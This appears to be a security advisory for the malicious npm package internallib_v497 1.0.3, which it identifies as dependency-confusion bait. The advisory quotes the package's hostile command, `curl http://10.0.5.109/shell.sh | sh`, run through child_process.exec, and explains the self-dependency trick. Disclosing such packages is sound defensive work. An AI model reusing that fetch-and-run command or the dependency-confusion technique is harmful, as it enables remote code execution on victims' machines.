npm · Malicious package advisory
Malwareinternallib_v497
GHSA-m9ww-2r6q-x632
Malicious code in internallib_v497 (npm)
Details
**Severity:** Critical **Affected versions:** `= 1.0.3` ## Source: amazon-inspector (37d367008a98c6bac6f9018de18ff5a75917cad3031c6bca1e7d4e5e257d3505) npm package [email protected] ships an index.js that exports a function which shell-executes `curl http://10.0.5.109/shell.sh | sh` via `child_process.exec('/bin/bash -c...')`, fetching an unauthenticated script over plain HTTP from a private RFC1918 address and piping it to a shell. Any consumer that requires the module and invokes the exported `command()` runs whatever code is served at 10.0.5.109 on the installer host. The package.json additionally declares its own name `internallib_v497` as a dependency (`^1.0.0`), matching the classic dependency-confusion bait shape: an organization that maintains a private package by this name and resolves it from the public npm registry will pull this artifact and execute its payload. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/c654723e238cbf7547b8e05e287837f94bfbbff0/osv/malicious/npm/internallib_v497/MAL-2026-16438.json)) **References:** - https://github.com/ossf/malicious-packages/blob/c654723e238cbf7547b8e05e287837f94bfbbff0/osv/malicious/npm/internallib_v497/MAL-2026-16438.json - https://www.npmjs.com/package/internallib_v497/v/1.0.3 - https://github.com/advisories/GHSA-m9ww-2r6q-x632
Compromised versions (1)
- = 1.0.3
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.